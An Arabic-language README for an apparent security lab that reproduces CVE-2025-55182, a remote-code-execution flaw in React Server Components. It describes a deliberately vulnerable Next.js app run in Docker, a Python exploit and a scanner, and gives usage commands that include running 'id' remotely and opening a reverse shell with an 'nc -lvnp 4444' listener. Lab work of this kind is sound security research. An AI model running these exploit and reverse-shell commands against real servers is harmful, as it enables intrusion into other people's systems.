
يحتوي هذا المستودع على بيئة كاملة لتحليل وإعادة إنتاج CVE-2025-55182، وهي ثغرة حرجة في تنفيذ التعليمات البرمجية عن بُعد (RCE) في مكونات خادم React (RSC) التي تؤثر على React 19.x و Next.js 15.x.
⚠️ تحذير: يحتوي هذا المشروع عمدًا على تعليمات برمجية قابلة للاستغلال. لا تنشره على خادم عام أو بيئة إنتاج.
react-server-dom-webpack, react-server-dom-turbopackتكمن الثغرة في الطريقة التي تعالج بها بيئة تشغيل مكونات خادم React البيانات المسلسلة القادمة من طلبات HTTP (Server Actions). يمكن للمهاجم صياغة حمولة ضارة لبروتوكول "Flight" تؤدي، عند إلغاء تسلسلها بواسطة الخادم، إلى تنفيذ تعليمات برمجية عشوائية قبل إجراء عمليات التحقق من المصادقة.
react2shell/
├── vulnerable-app/ # Vulnerable Next.js 15 application
│ ├── app/
│ │ ├── actions.ts # Vulnerable Server Actions
│ │ └── page.tsx # UI for testing vulnerability
│ ├── Dockerfile # Container definition
│ └── package.json
├── exploit/ # Exploit tools
│ ├── exploit.py # Python PoC exploit
│ ├── scanner.py # Vulnerability scanner
│ └── quick_exploit.sh # Simple bash exploit
├── docs/ # Analysis documentation
└── docker-compose.yml # Isolated lab environment
شغّل التطبيق الضعيف في حاوية معزولة:
docker-compose up -d --build
سيكون التطبيق متاحًا على http://localhost:3000.
قم بزيارة http://localhost:3000 في متصفحك. يجب أن ترى واجهة "React2Shell Lab" مع عدة لوحات اختبار:
نوفّر عدة أدوات لاختبار الثغرة.
تثبيت المتطلبات:
pip install -r exploit/requirements.txt
تحقق من وجود الثغرة:
python3 exploit/exploit.py -u http://localhost:3000 --check
تنفيذ أمر:
python3 exploit/exploit.py -u http://localhost:3000 -c "id"
الصدفة العكسية (تتطلب مستمعًا، مثل nc -lvnp 4444):
python3 exploit/exploit.py -u http://localhost:3000 --revshell -l HOST_IP -p 4444
افحص عن حالات React/Next.js المعرضة للثغرة:
python3 exploit/scanner.py -u http://localhost:3000
لإصلاح هذه الثغرة في تطبيقاتك الخاصة:
ترقية التبعيات:
التحقق من التصحيح:
تحقق من package.json للتأكد من تحديث حزم react-server-dom-*.
هذا المشروع مخصص للأغراض التعليمية وأبحاث الأمن فقط. لا يتحمل المؤلفون أي مسؤولية عن إساءة استخدام هذه المواد.